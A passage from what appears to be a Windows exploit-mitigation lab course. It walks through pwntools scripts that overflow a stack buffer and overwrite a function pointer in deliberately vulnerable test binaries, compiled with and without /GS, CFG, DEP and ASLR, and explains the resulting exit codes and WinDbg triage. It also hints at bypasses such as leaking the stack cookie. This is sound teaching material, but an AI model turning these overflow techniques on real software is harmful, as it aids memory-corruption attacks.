return\n\"\"\"\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.log_level = 'info'\n\n# Choose target binary\ntarget = sys.argv[1] if len(sys.argv) > 1 else 'gs_test.exe'\ntarget_path = rf'C:\\Windows_Mitigations_Lab\\bin\\{target}'\n\nlog.info(f\"Target: {target}\")\nio = process([target_path, 'stack'])\n\n# Wait for the prompt\nio.recvuntil(b\"Buffer at \")\nstack_leak = int(io.recvline().strip(), 16)\nlog.info(f\"Stack leak: {hex(stack_leak)}\")\n\nio.recvuntil(b\"Enter payload: \")\n\n# Stack layout (from disassembly of gs_test.exe):\n#   sub rsp, 88h         ; 136 byte frame\n#   buffer at [rsp+30h]  ; offset 48\n#   cookie at [rsp+70h]  ; offset 112 (64 bytes after buffer start)\n#   return at [rsp+88h]  ; offset 136 (after frame restoration)\n#\n# To trigger \u002FGS: overflow past 64 bytes to corrupt the cookie at offset 64\n# To trigger crash without \u002FGS: overflow ~88 bytes to corrupt return address\n#\n# We send 150 bytes to ensure we corrupt both cookie AND return address\n\noverflow_size = 150  # Enough to corrupt cookie (64+) and return address (88+)\npayload = b\"A\" * overflow_size\n\nlog.info(f\"Sending {len(payload)} bytes to overflow 64-byte buffer\")\nio.sendline(payload)\n\n# Wait for process to terminate (use wait() not poll() for Windows compatibility)\ntry:\n    io.wait(timeout=5)\nexcept:\n    pass\n\n# Check the return code\nif io.returncode is not None:\n    exit_code = io.returncode & 0xFFFFFFFF\n    log.info(f\"Process exited with code: {hex(exit_code)}\")\n\n    if exit_code == 0xc0000409:  # STATUS_STACK_BUFFER_OVERRUN\n        log.success(\"Stack buffer overrun detected! (\u002FGS protection triggered)\")\n        log.info(\"Cookie was corrupted -> __security_check_cookie() called __fastfail()\")\n    elif exit_code == 0xc0000005:  # STATUS_ACCESS_VIOLATION\n        log.warning(\"Access Violation - jumped to corrupted return address\")\n        log.info(\"No \u002FGS cookie check occurred - function returned to garbage\")\n    elif exit_code == 0 or exit_code == 1:\n        log.warning(f\"Process exited normally (code {exit_code}) - no crash!\")\n    else:\n        log.info(f\"Check Windows NTSTATUS codes for {hex(exit_code)}\")\nelse:\n    log.warning(\"Process did not terminate within timeout\")\n    io.close()\n```\n\n**Expected Results**:\n\n```bash\n# Against gs_test.exe (with \u002FGS) - cookie corruption detected!\npython exploits\\week5_gs_test.py gs_test.exe\n#[*] Target: gs_test.exe\n#[*] Stack leak: 0x30242ff940\n#[*] Sending 150 bytes to overflow 64-byte buffer\n#[*] Process exited with code: 0xc0000409\n#[+] Stack buffer overrun detected! (\u002FGS protection triggered)\n#[*] Cookie was corrupted -> __security_check_cookie() called __fastfail()\n\n# Against no_gs_test.exe (without \u002FGS) - crashes at return\npython exploits\\week5_gs_test.py no_gs_test.exe\n#[*] Target: no_gs_test.exe\n#[*] Stack leak: 0x673ccffc80\n#[*] Sending 150 bytes to overflow 64-byte buffer\n#[*] Process exited with code: 0xc0000005\n#[!] Access Violation - jumped to corrupted return address\n#[*] No \u002FGS cookie check occurred - function returned to garbage\n```\n\n| Target           | Exit Code    | Meaning                                                            |\n| ---------------- | ------------ | ------------------------------------------------------------------ |\n| `gs_test.exe`    | `0xc0000409` | STATUS_STACK_BUFFER_OVERRUN - \u002FGS caught the corruption            |\n| `no_gs_test.exe` | `0xc0000005` | STATUS_ACCESS_VIOLATION - crashed trying to return to `0xdeadbeef` |\n\n**Document**: \"Stack cookies detect overflow before return. Even if I bypass DEP+ASLR, the cookie check terminates the process before the corrupted return address is used.\"\n\n#### Step 4: Add CFG (Day 3 Preparation)\n\nCFG (Control Flow Guard) validates indirect call targets at runtime. We'll use the standardized suite which includes a function pointer test case.\n\n**Setup**:\n\n```bash\n# Compile WITH CFG - all mitigations enabled\ncl \u002FGS \u002Fguard:cf \u002FD_CRT_SECURE_NO_WARNINGS src\\vulnerable_suite_win_mitigated.c \u002FFe:bin\\cfg_test.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE \u002FHIGHENTROPYVA \u002Fguard:cf\n\n# Compile WITHOUT CFG for comparison (but keep \u002FGS to isolate CFG testing)\ncl \u002FGS \u002FD_CRT_SECURE_NO_WARNINGS src\\vulnerable_suite_win_mitigated.c \u002FFe:bin\\no_cfg_test.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE \u002FHIGHENTROPYVA\n\n# Verify CFG is enabled in the binary:\ndumpbin \u002Fheaders \u002Floadconfig bin\\cfg_test.exe | findstr \"Guard\"\n# Expected: \"Guard CF instrumented\" and \"Guard\" flags in load config\n```\n\n> [!NOTE]\n> **CFG Compilation Requirement**: CFG protection only applies to binaries compiled with `\u002Fguard:cf`.\n> Enabling system-wide CFG (`Set-ProcessMitigation -System -Enable CFG`) does NOT protect non-CFG-compiled binaries.\n> The call sites must be instrumented by the compiler to perform bitmap validation checks.\n\n**Test Function Pointer Overwrite**:\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n# c:\\Windows_Mitigations_Lab\\exploits\\week5_cfg_test.py\n\"\"\"\nTest: Week 5 function pointer overwrite against CFG\nExpected: FAIL - CFG validates indirect call target and rejects bad address\n\nUsage:\n  python exploits\\week5_cfg_test.py cfg_test.exe     # With CFG - should fail CFG check\n  python exploits\\week5_cfg_test.py no_cfg_test.exe  # Without CFG - crashes at call\n\"\"\"\nfrom pwn import *\nimport sys\n\ncontext.arch = 'amd64'\ncontext.log_level = 'info'\n\n# Choose target binary\ntarget = sys.argv[1] if len(sys.argv) > 1 else 'cfg_test.exe'\ntarget_path = rf'C:\\Windows_Mitigations_Lab\\bin\\{target}'\n\nlog.info(f\"Target: {target}\")\n\n# The vulnerable suite's 'funcptr' mode tests function pointer corruption\nio = process([target_path, 'funcptr'])\n\n# Read initial output with timeout\ntry:\n    # Read until we see the prompt for address input\n    output = io.recvuntil(b\"Enter new function address\", timeout=5)\n    log.info(\"Got function pointer test output\")\nexcept:\n    log.error(\"Timeout waiting for funcptr prompt\")\n    io.close()\n    sys.exit(1)\n\n# Try to redirect to an invalid address (simulating heap corruption)\n# In a real exploit, this might point to shellcode or a ROP gadget\nbad_target = 0xdeadbeefcafe\n\nlog.info(f\"Attempting to redirect function pointer to: {hex(bad_target)}\")\nio.sendline(hex(bad_target).encode())\n\n# Wait for process to handle the call and crash\u002Fexit\ntry:\n    io.wait(timeout=5)\nexcept:\n    pass\n\nif io.returncode is None:\n    log.warning(\"Process still running - unexpected\")\n    io.close()\nelse:\n    exit_code = io.returncode & 0xFFFFFFFF\n    log.info(f\"Process exited with code: {hex(exit_code)}\")\n\n    if exit_code == 0x80000003:  # STATUS_BREAKPOINT (__fastfail via int 0x29)\n        log.success(f\"CFG validation failed! Call to {hex(bad_target)} blocked\")\n        log.info(\"CFG checked the bitmap, rejected invalid target, called __fastfail()\")\n        log.info(\"NOTE: __fastfail raises int 0x29 -> process exit = 0x80000003\")\n        log.info(\"      WinDbg exception record still shows 0xC0000409 subcode 10\")\n    elif exit_code == 0xc0000409:  # STATUS_STACK_BUFFER_OVERRUN\n        log.success(f\"\u002FGS cookie caught the overflow BEFORE CFG checked the call\")\n        log.info(\"\u002FGS uses __fastfail(2) but exit code differs from CFG's __fastfail(10)\")\n    elif exit_code == 0xc0000005:  # STATUS_ACCESS_VIOLATION\n        log.warning(f\"Access Violation - call to {hex(bad_target)} attempted\")\n        log.info(\"CFG was NOT active - call went through but crashed at bad address\")\n    else:\n        log.info(f\"Check Windows NTSTATUS codes for {hex(exit_code)}\")\n```\n\n**Expected Results**:\n\n```bash\n# Against cfg_test.exe (with CFG) - call blocked!\npython exploits\\week5_cfg_test.py cfg_test.exe\n#[*] Target: cfg_test.exe\n#[*] Got function pointer test output\n#[*] Attempting to redirect function pointer to: 0xdeadbeefcafe\n#[*] Process exited with code: 0x80000003\n#[+] CFG validation failed! Call to 0xdeadbeefcafe blocked\n#[*] CFG checked the bitmap, rejected invalid target, called __fastfail()\n#[*] NOTE: __fastfail raises int 0x29 -> process exit = 0x80000003\n#[*]       WinDbg exception record still shows 0xC0000409 subcode 10\n\n# Against no_cfg_test.exe (without CFG) - crashes at call\npython exploits\\week5_cfg_test.py no_cfg_test.exe\n#[*] Target: no_cfg_test.exe\n#[*] Got function pointer test output\n#[*] Attempting to redirect function pointer to: 0xdeadbeefcafe\n#[*] Process exited with code: 0xc0000005\n#[!] Access Violation - call to 0xdeadbeefcafe attempted\n#[*] CFG was NOT active - call went through but crashed at bad address\n```\n\n| Target            | Exit Code    | What Happened                                                            |\n| ----------------- | ------------ | ------------------------------------------------------------------------ |\n| `cfg_test.exe`    | `0x80000003` | CFG intercepted the call, checked bitmap, `__fastfail(10)` -> `int 0x29` |\n| `no_cfg_test.exe` | `0xc0000005` | No CFG - call executed, jumped to `0xdeadbeefcafe`, crashed              |\n\n**Document**: \"CFG validates indirect calls against a bitmap of valid targets. Even with a write primitive to corrupt function pointers, calls to arbitrary addresses are blocked.\"\n\n#### Step 5: Full Mitigation Stack\n\n| Mitigation    | Enable Via                          | Works In Any VM |\n| ------------- | ----------------------------------- | --------------- |\n| DEP           | `\u002FNXCOMPAT` (linker) or system-wide | Yes             |\n| ASLR          | `\u002FDYNAMICBASE` (linker)             | Yes             |\n| High Entropy  | `\u002FHIGHENTROPYVA` (linker)           | Yes             |\n| Stack Cookies | `\u002FGS` (compiler, default)           | Yes             |\n| CFG           | `\u002Fguard:cf` (compiler+linker)       | Yes             |\n| XFG           | OS-level (via `\u002Fguard:cf` metadata) | Yes             |\n| SEHOP         | System default (x86)                | Yes             |\n| SafeSEH       | `\u002FSAFESEH` (x86 only)               | Yes             |\n\n**Track A Setup** (works everywhere):\n\n```bash\n# Compile a fully-protected binary (Track A mitigations) using the standardized suite\ncl \u002FGS \u002Fguard:cf \u002FD_CRT_SECURE_NO_WARNINGS src\\vulnerable_suite_win_mitigated.c \u002FFe:bin\\full_protect_test.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE \u002FHIGHENTROPYVA \u002Fguard:cf\n\n# Verify all protections:\ndumpbin \u002Fheaders \u002Floadconfig bin\\full_protect_test.exe | findstr \"NX Dynamic High Guard\"\n# Expected: NX compatible, Dynamic base, High Entropy, Guard CF instrumented\n\n# Test: all Week 5 exploits should fail against this binary\npython exploits\\week5_aslr_test.py full_protect_test.exe   # Fails: \u002FGS catches overflow first!\npython exploits\\week5_gs_test.py full_protect_test.exe     # Fails: \u002FGS detects cookie corruption\npython exploits\\week5_cfg_test.py full_protect_test.exe    # Fails: CFG blocks bad call targets\n```\n\n**Test Results:**\n\n```bash\nc:\\Windows_Mitigations_Lab>python exploits\\week5_aslr_test.py full_protect_test.exe\n#[*] Target: full_protect_test.exe\n#[*] Stack leak:  0xf2801efca0           \u003C- ASLR randomized\n#[*] Process exited with code: 0xc0000409\n#[-] \u002FGS cookie triggered - exploit FAILED\n\nc:\\Windows_Mitigations_Lab>python exploits\\week5_gs_test.py full_protect_test.exe\n#[*] Sending 150 bytes to overflow 64-byte buffer\n#[*] Process exited with code: 0xc0000409\n#[+] Stack buffer overrun detected! (\u002FGS protection triggered)\n\nc:\\Windows_Mitigations_Lab>python exploits\\week5_cfg_test.py full_protect_test.exe\n#[*] Attempting to redirect function pointer to: 0xdeadbeefcafe\n#[*] Process exited with code: 0x80000003\n#[+] CFG validation failed! Call to 0xdeadbeefcafe blocked\n```\n\n| Exploit              | Attack Vector    | Stopped By                     | Exit Code    |\n| -------------------- | ---------------- | ------------------------------ | ------------ |\n| `week5_aslr_test.py` | ROP chain        | \u002FGS (overflow corrupts cookie) | `0xc0000409` |\n| `week5_gs_test.py`   | Stack overflow   | \u002FGS (cookie check)             | `0xc0000409` |\n| `week5_cfg_test.py`  | Function pointer | CFG (bitmap check)             | `0x80000003` |\n\n> [!NOTE]\n> **Defense in Depth**: The ROP exploit was stopped by \u002FGS, not ASLR! The stack overflow\n> corrupted the cookie before the corrupted return address was ever used. Multiple\n> mitigations provide overlapping protection.\n\n### Graduated Exercise Checklist\n\nBefore proceeding to Day 1's detailed content, complete these exercises:\n\n- [ ] **Exercise G1**: DEP blocks shellcode execution\n  - Run: `bin\\dep_test.exe dep` -> Should crash with `0xc0000005` (execute violation)\n- [ ] **Exercise G2**: ASLR breaks hardcoded ROP gadget addresses\n  - Run: `python exploits\\week5_aslr_test.py aslr_test.exe` -> Should fail with `0xc0000005`\n  - Compare: `python exploits\\check_aslr.py dep_test.exe` vs `python exploits\\check_aslr.py aslr_test.exe`\n- [ ] **Exercise G3**: \u002FGS detects stack cookie corruption\n  - Run: `python exploits\\week5_gs_test.py gs_test.exe` -> Should fail with `0xc0000409`\n  - Compare: `python exploits\\week5_gs_test.py no_gs_test.exe` -> Should crash with `0xc0000005`\n- [ ] **Exercise G4**: CFG blocks indirect calls to invalid targets\n  - Run: `python exploits\\week5_cfg_test.py cfg_test.exe` -> Should fail with `0x80000003` (NOT `0xc0000409`!)\n  - Compare: `python exploits\\week5_cfg_test.py no_cfg_test.exe` -> Should crash with `0xc0000005`\n  - Note: CFG uses `__fastfail(10)` -> `int 0x29` -> exit code `0x80000003`, different from \u002FGS!\n- [ ] **Exercise G5**: Full protection blocks ALL exploit attempts\n  - Run all three exploits against `full_protect_test.exe`\n  - \u002FGS exploits -> `0xc0000409`, CFG exploit -> `0x80000003` (different mitigations, different exit codes!)\n\n**Completion Criteria**: You should be able to explain exactly why each of your Week 5 exploits fails against each mitigation level, and identify which mitigation caught the exploit by its exit code.\n\n### Mitigation Interaction Matrix\n\n| If Attacker Has...        | DEP Blocks | ASLR Blocks  | \u002FGS Blocks | CFG Blocks |\n| ------------------------- | ---------- | ------------ | ---------- | ---------- |\n| Shellcode on stack        | +          | -            | -          | -          |\n| Shellcode on heap         | +          | -            | -          | -          |\n| Known libc address        | -          | +            | -          | -          |\n| Stack overflow            | -          | -            | +          | -          |\n| Heap overflow -> func ptr | -          | -            | -          | +          |\n| ROP chain                 | -          | Partial      | -          | -          |\n| Info leak                 | -          | Defeats ASLR | -          | -          |\n\n### Crash Signature to Mitigation Mapping\n\n**Bridge to Week 4 (Crash Analysis)**: When analyzing crashes, these signatures indicate which mitigation caused termination:\n\n| Mitigation       | Process Exit Code | WinDbg Exception Code           | Key Indicators                                 | WinDbg Analysis                               | **Bypass in Week 8**                        |\n| ---------------- | ----------------- | ------------------------------- | ---------------------------------------------- | --------------------------------------------- | ------------------------------------------- |\n| **DEP**          | `0xC0000005`      | `0xC0000005` (Access Violation) | `EXCEPTION_PARAMETER1 = 8` (execute violation) | `!analyze -v` shows \"DEP violation\"           | **Task X: Userland Data-Only Attack**       |\n| **\u002FGS (Cookie)** | `0xC0000409`      | `0xC0000409` (subcode 2)        | Fast fail, process terminates immediately      | Bucket: `OVERRUN_STACK_BUFFER_*`              | **Day 3: Stack Cookie Bypass**              |\n| **CFG**          | `0x80000003`      | `0xC0000409` (subcode 10)       | `FAST_FAIL_GUARD_ICALL_CHECK_FAILURE`          | Bucket: `FAIL_FAST_GUARD_ICALL_CHECK_FAILURE` | **Task X: Userland Data-Only Attack**       |\n| **CET Shadow**   | `0x80000003`      | `0xC0000407`                    | `STATUS_CONTROL_STACK_VIOLATION`               | Shadow stack mismatch detected                | _Advanced: Data-Only or Race Conditions_    |\n| **Heap Cookie**  | `0xC0000374`      | `0xC0000374` (Heap Corruption)  | Detected on HeapFree\u002FHeapAlloc                 | `!heap -p -a \u003Caddr>` shows corruption         | **Day 5: Heap Exploitation (Safe-Linking)** |\n\n> [!WARNING]\n> **Exit Code vs Exception Code**: Python's `process.returncode`, `%ERRORLEVEL%`, and `echo $LASTEXITCODE`\n> show the **process exit code**. WinDbg's `.exr -1` and `!analyze -v` show the **exception code**.\n> CFG and CET both call `__fastfail()` which executes `int 0x29` -> process exits with `0x80000003`\n> (STATUS_BREAKPOINT), but the exception record INSIDE WinDbg preserves the original status.\n\n**Quick WinDbg Triage**:\n\n```bash\n# After crash, identify mitigation:\n!analyze -v\n\n# Check exception parameters for DEP:\n.exr -1\n# Parameter1: 0 = read, 1 = write, 8 = DEP (execute)\n\n# For fast fail codes:\n# Look in exception record for subcode\n# 10 = CFG, 37 = CET shadow stack, etc.\n```\n\n### The \"Mitigation Failure Card\"\n\nIn previous weeks, you created \"Crash Cards\". In Week 6, you must complete a **Mitigation Failure Card** for every blocked exploit.\n\n> **MITIGATION FAILURE CARD**\n>\n> **Exploit Attempted**: Stack Overflow (150 bytes into 64-byte buffer)\n> **Target Binary**: `bin\\gs_test.exe`\n> **Crash Symptom**: Process terminated immediately, no shellcode execution\n> **Exception Code**: `0xC0000409` (STATUS_STACK_BUFFER_OVERRUN)\n> **Failure Subcode\u002FParam**: Stack Cookie corruption detected\n> **WinDbg Bucket**: `FAIL_FAST_STACK_BUFFER_OVERRUN`\n> **Why it Failed**: The stack cookie (placed between buffer and return address) was corrupted by the overflow. `__security_check_cookie()` detected the mismatch and called `__fastfail()`.\n> **Potential Bypass**: Info leak to read cookie value, then include correct cookie in payload. Or target a function without \u002FGS protection.\n\n### Data-Only Attack Mitigation Evasion\n\n| Attack Type               | DEP Blocks | ASLR Blocks  | \u002FGS Blocks | CFG Blocks |\n| ------------------------- | ---------- | ------------ | ---------- | ---------- |\n| Shellcode on stack        | +          | -            | -          | -          |\n| Shellcode on heap         | +          | -            | -          | -          |\n| Known libc address        | -          | +            | -          | -          |\n| Stack overflow            | -          | -            | +          | -          |\n| Heap overflow -> func ptr | -          | -            | -          | +          |\n| ROP chain                 | -          | Partial      | -          | -          |\n| Info leak                 | -          | Defeats ASLR | -          | -          |\n| Data-Only Attack          | -          | -            | -          | -          |\n\n**Why This Matters**: In real-world analysis, you often start with a crash dump. Knowing these signatures lets you immediately identify:\n\n1. Whether exploitation was attempted\n2. Which mitigation stopped it\n3. What the attacker was trying to do\n\n### Data Execution Prevention (DEP) \u002F NX bit\n\n**What is DEP?**:\n\n- Marks memory pages as non-executable\n- Prevents code execution on stack and heap\n- Also called NX (No eXecute) on Linux, W^X elsewhere\n\n**How DEP Works**:\n\n```text\nWithout DEP:\nMemory Page: Read + Write + Execute (RWX)\n- Stack: RWX\n- Heap: RWX\n- Data: RWX\n-> Shellcode anywhere can execute\n\nWith DEP:\nMemory Page: Read + Write OR Execute (never both)\n- Stack: RW (no execute)\n- Heap: RW (no execute)\n- .text section: RX (read + execute only)\n- Data section: RW (no execute)\n-> Shellcode on stack\u002Fheap cannot execute\n```\n\n**DEP Policies**:\n\n```bash\n# Run in powershell\nswitch ((Get-CimInstance Win32_OperatingSystem).DataExecutionPrevention_SupportPolicy) {\n  0 { 'AlwaysOff' }\n  1 { 'AlwaysOn' }\n  2 { 'OptIn' }\n  3 { 'OptOut' }\n  default { 'Unknown' }\n}\n# Example output: OptIn\n```\n\n#### Deep Dive: DEP at the Hardware Level\n\n**The NX Bit in Page Table Entries**:\n\nUnderstanding DEP requires understanding how the CPU enforces it through page tables.\n\n```text\nx64 Page Table Entry (PTE) Structure:\n┌────────────────────────────────────────────────────────────┐\n│ 63│62-52│51-M│M-12│11-9│ 8 │ 7 │ 6 │ 5 │ 4 │ 3 │ 2 │ 1 │ 0 │\n├───┼─────┼────┼────┼────┼───┼───┼───┼───┼───┼───┼───┼───┼───┤\n│NX │Avail│Rsv │PFN │Avl │G  │PAT│D  │A  │PCD│PWT│U\u002FS│R\u002FW│P  │\n└───┴─────┴────┴────┴────┴───┴───┴───┴───┴───┴───┴───┴───┴───┘\n\nKey Bits:\n- Bit 63 (NX): No-Execute bit\n  - 0 = Page is executable\n  - 1 = Page is NOT executable (DEP enforced)\n- Bit 0 (P): Present bit\n- Bit 1 (R\u002FW): Read\u002FWrite permission\n- Bit 2 (U\u002FS): User\u002FSupervisor (ring 3\u002Fring 0)\n\nDEP Enforcement:\n1. CPU fetches instruction\n2. MMU translates virtual -> physical address\n3. MMU reads PTE for that page\n4. If NX bit is SET and page is in data segment:\n   -> #PF (Page Fault) with specific error code\n   -> Windows converts to STATUS_ACCESS_VIOLATION\n```\n\n**Page Protection Constants**:\n\n```c\n\u002F\u002F Windows memory protection constants (memoryapi.h)\n#define PAGE_NOACCESS           0x01\n#define PAGE_READONLY           0x02\n#define PAGE_READWRITE          0x04\n#define PAGE_WRITECOPY          0x08\n#define PAGE_EXECUTE            0x10    \u002F\u002F Rarely used alone\n#define PAGE_EXECUTE_READ       0x20    \u002F\u002F Code sections\n#define PAGE_EXECUTE_READWRITE  0x40    \u002F\u002F JIT, dangerous\n#define PAGE_EXECUTE_WRITECOPY  0x80\n\n\u002F\u002F Relationship to NX bit:\n\u002F\u002F PAGE_READWRITE         -> NX bit SET (non-executable)\n\u002F\u002F PAGE_EXECUTE_READ      -> NX bit CLEAR (executable)\n\u002F\u002F PAGE_EXECUTE_READWRITE -> NX bit CLEAR (JIT requirement)\n```\n\n**WinDbg Lab: Examining Page Protections**:\n\n```bash\n# Step 1: Attach to a process\n# start notepad, run windbg and attach to it\n\n# Step 2: View all memory regions with protections\n!address\n\n# Sample output (truncated - full output shows all loaded modules):\n#          BaseAddress      EndAddress+1        RegionSize     Type       State                 Protect             Usage\n# --------------------------------------------------------------------------------------------------------------------------\n# +        0`7ffe0000        0`7ffe1000        0`00001000 MEM_PRIVATE MEM_COMMIT  PAGE_READONLY                      Other      [User Shared Data]\n# +       c1`902f9000       c1`90300000        0`00007000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack      [~0; 11f0.2bcc]\n# +     7ff7`966d0000     7ff7`966d1000        0`00001000 MEM_IMAGE   MEM_COMMIT  PAGE_READONLY                      Image      [Notepad.exe]\n# +     7ff7`966d1000     7ff7`96876000        0`001a5000 MEM_IMAGE   MEM_COMMIT  PAGE_EXECUTE_READ                  Image      [Notepad.exe]\n#                                                                                 ↑ Code section     ↑ Stack - no execute\n```\n\n**Step 3: Examine Specific Memory Regions**\n\nTest these addresses to understand DEP protection:\n\n```bash\n# Stack memory (where buffer overflows occur)\n0:004> !vprot c1`902f9000\nBaseAddress:       000000c1902f9000\nAllocationBase:    000000c190200000\nAllocationProtect: 00000004  PAGE_READWRITE\nRegionSize:        0000000000007000\nState:             00001000  MEM_COMMIT\nProtect:           00000004  PAGE_READWRITE    # ← NO EXECUTE - DEP protected!\nType:              00020000  MEM_PRIVATE\n\n# Executable code section (.text)\n0:004> !vprot 7ff7`966d1000\nBaseAddress:       00007ff7966d1000\nAllocationBase:    00007ff7966d0000\nAllocationProtect: 00000080  PAGE_EXECUTE_WRITECOPY\nRegionSize:        00000000001a5000\nState:             00001000  MEM_COMMIT\nProtect:           00000020  PAGE_EXECUTE_READ  # ← Executable but NOT writable\nType:              01000000  MEM_IMAGE\n\n# Heap memory\n0:004> !vprot 283`f5000000\nBaseAddress:       00000283f5000000\nAllocationBase:    00000283f5000000\nAllocationProtect: 00000004  PAGE_READWRITE\nRegionSize:        0000000000002000\nState:             00001000  MEM_COMMIT\nProtect:           00000004  PAGE_READWRITE    # ← NO EXECUTE - DEP protected!\nType:              00020000  MEM_PRIVATE\n```\n\n**Step 4: Check Current Stack Pointer**\n\n```bash\n# Get current stack pointer\n0:004> r rsp\nrsp=000000c1906ffcb8\n\n# Verify it's in non-executable memory\n0:004> !vprot 000000c1906ffcb8\nBaseAddress:       000000c1906ff000\nAllocationBase:    000000c190600000\nAllocationProtect: 00000004  PAGE_READWRITE\nRegionSize:        0000000000001000\nState:             00001000  MEM_COMMIT\nProtect:           00000004  PAGE_READWRITE    # ← Stack is NEVER executable\nType:              00020000  MEM_PRIVATE\n```\n\n**Summary Table - W^X (Write XOR Execute) in Action:**\n\n| Region           | Address Example | Writable | Executable | Attack Vector?        |\n| ---------------- | --------------- | :------: | :--------: | --------------------- |\n| Stack            | `c1`902f9000`   |    +     |     -      | ROP gadgets only      |\n| Code (.text)     | `7ff7`966d1000` |    -     |     +      | Source of ROP gadgets |\n| PE Header        | `7ff7`966d0000` |    -     |     -      | None                  |\n| Heap             | `283`f5000000`  |    +     |     -      | Data-only attacks     |\n| User Shared Data | `7ffe0000`      |    -     |     -      | Info leak source      |\n\n> [!IMPORTANT]\n> **DEP Takeaway**: No memory region is both Writable AND Executable simultaneously.\n> This is why classic shellcode injection fails and attackers must use ROP chains.\n\n**Why Some Processes Need Executable Data**:\n\n```text\nLegitimate uses of PAGE_EXECUTE_READWRITE:\n1. JIT Compilers (JavaScript V8, .NET CLR, Java HotSpot)\n   - Generate code at runtime\n   - Must write then execute\n\n2. Self-modifying code (rare, legacy)\n\n3. Packers\u002FProtectors (unpack code into memory)\n\nModern JIT approach (W^X compliant):\n1. Allocate PAGE_READWRITE\n2. Write generated code\n3. VirtualProtect -> PAGE_EXECUTE_READ\n4. Execute\n5. Never have RWX simultaneously\n\nBrowser sandboxes enforce this strictly:\n- Chrome: renderer processes cannot create RWX memory\n- ACG (Arbitrary Code Guard) blocks VirtualProtect to +X\n```\n\n**Per-Process DEP Configuration**:\n\n```bash\n# View DEP settings\nGet-ProcessMitigation -System\n\n# View for specific process\nGet-Process notepad -ErrorAction SilentlyContinue | ForEach-Object { Get-ProcessMitigation -Id $_.Id }\n\n# Set DEP for program\nSet-ProcessMitigation -Name myapp.exe -Enable DEP, SEHOP\n```\n\n#### Testing DEP\n\n**Testing DEP with the Unified Suite**:\n\nWe use the `vulnerable_suite_win_mitigated.c` from the start of this lab (see Line ~450). The suite's **Option 1 (Stack Overflow)** triggers the `vuln_stack()` function which attempts to execute shellcode placed on the stack—DEP should block this.\n\n**Compile WITHOUT DEP** (for comparison):\n\n```bash\n# x64 Native Tools Command Prompt\ncd C:\\Windows_Mitigations_Lab\n\n# Build WITHOUT DEP (NXCOMPAT:NO) - shellcode MAY execute\ncl \u002FGS- \u002FD_CRT_SECURE_NO_WARNINGS src\\vulnerable_suite_win_mitigated.c \u002FFe:bin\\dep_test_disabled.exe \u002Flink \u002FNXCOMPAT:NO \u002FDYNAMICBASE:NO \u002FFIXED\n\n# Verify DEP is disabled:\ndumpbin \u002Fheaders bin\\dep_test_disabled.exe | findstr \"NX\"\n# Should NOT show \"NX compatible\"\n\n# Run and select Option 1 (Stack Overflow)\n.\\bin\\dep_test_disabled.exe stack\n# Enter long input to trigger overflow - may crash differently without DEP\n```\n\n**Compile WITH DEP** (default, recommended):\n\n```bash\n# Build WITH DEP enabled (NXCOMPAT) but WITHOUT ASLR (to isolate DEP testing)\ncl \u002FGS- \u002FD_CRT_SECURE_NO_WARNINGS src\\vulnerable_suite_win_mitigated.c \u002FFe:bin\\dep_test.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE:NO \u002FFIXED\n\n# Verify DEP is enabled:\ndumpbin \u002Fheaders bin\\dep_test.exe | findstr \"NX\"\n# Should show: \"NX compatible\"\n\n# Run and select Option 1 (Stack Overflow)\n.\\bin\\dep_test.exe stack\n# When prompted, enter 100+ 'A' characters to overflow the buffer\n# DEP will block execution of any shellcode on the stack\n```\n\n**Verify DEP in WinDbg**:\n\n```bash\n# Launch the DEP-enabled binary in WinDbg with 'stack' argument\nwindbg C:\\Windows_Mitigations_Lab\\bin\\dep_test.exe stack\n\n# Set breakpoint on vuln_stack function (will be deferred until module loads)\n1:001> bp dep_test!vuln_stack\nBp expression 'dep_test!vuln_stack' could not be resolved, adding deferred bp\n1:001> g\n\n# When initial break hits, check stack page protections\n0:000> !vprot @rsp\nBaseAddress:       000000000014f000\nAllocationBase:    0000000000050000\nAllocationProtect: 00000004  PAGE_READWRITE\nRegionSize:        0000000000001000\nState:             00001000  MEM_COMMIT\nProtect:           00000004  PAGE_READWRITE   # \u003C-- No EXECUTE permission!\nType:              00020000  MEM_PRIVATE\n\n# Continue execution - the overflow will corrupt the return address\n0:000> g\n(13fc.634): Access violation - code c0000005 (first chance)\ndep_test+0x1078:\n00000001`40001078 c3              ret\n\n# Analyze the crash\n0:000> !analyze -v\nEXCEPTION_CODE: (NTSTATUS) 0xc0000005 - Access violation\nEXCEPTION_PARAMETER1:  0000000000000000  # 0 = Read, 1 = Write, 8 = DEP\u002FExecute\nEXCEPTION_PARAMETER2:  ffffffffffffffff  # Invalid address from corrupted return\n\n# The stack shows the overflow pattern (0x61 = 'a', cyclic pattern)\nSTACK_TEXT:\n00000000`0014fee8 61616174`61616173 : dep_test+0x1078  # Corrupted return address!\n```\n\n> [!NOTE]\n> **Understanding the Crash**: This crash is a **read violation** (EXCEPTION_PARAMETER1=0) because the corrupted return address points to unmapped memory.\n> If we had actual shellcode and the return address pointed to the stack, we would see EXCEPTION_PARAMETER1=**8** (DEP\u002Fexecute violation).\n> The key observation is that `!vprot @rsp` shows `PAGE_READWRITE` without execute permission—DEP is working!\n\n### Address Space Layout Randomization (ASLR)\n\n**What is ASLR?**:\n\n- Randomizes base addresses of executables and DLLs\n- Makes it hard to predict code\u002Fdata locations\n- Defeats hardcoded address exploitation\n- Enabled by `\u002FDYNAMICBASE` linker flag\n\n**What ASLR Randomizes**:\n\n- Executable base address (if \u002FDYNAMICBASE)\n- DLL base addresses\n- Stack location\n- Heap location\n- PEB\u002FTEB location\n\n**ASLR Entropy** (Windows 11 x64):\n\n> [!NOTE]\n> Entropy values are **approximate** and vary by Windows build, configuration, and specific mitigation policies. Use these as rough guidelines for understanding the scale of randomization.\n\n- Executables: ~17 bits (128K possibilities)\n- DLLs: ~19 bits (512K possibilities)\n- Stack: ~17 bits\n- Heap: ~5 bits per allocation\n\n#### Deep Dive: ASLR Implementation Internals\n\n**How Windows Calculates Randomization**:\n\n```text\nASLR Randomization Sources:\n1. KeQueryPerformanceCounter() - high-resolution timer\n2. Process creation time\n3. System boot time (stored in SharedUserData)\n4. Per-boot random seed (KeRandomSeed)\n\nFormula (simplified):\nImageBase = PreferredBase + (RandomValue * AllocationGranularity)\n\nWhere:\n- 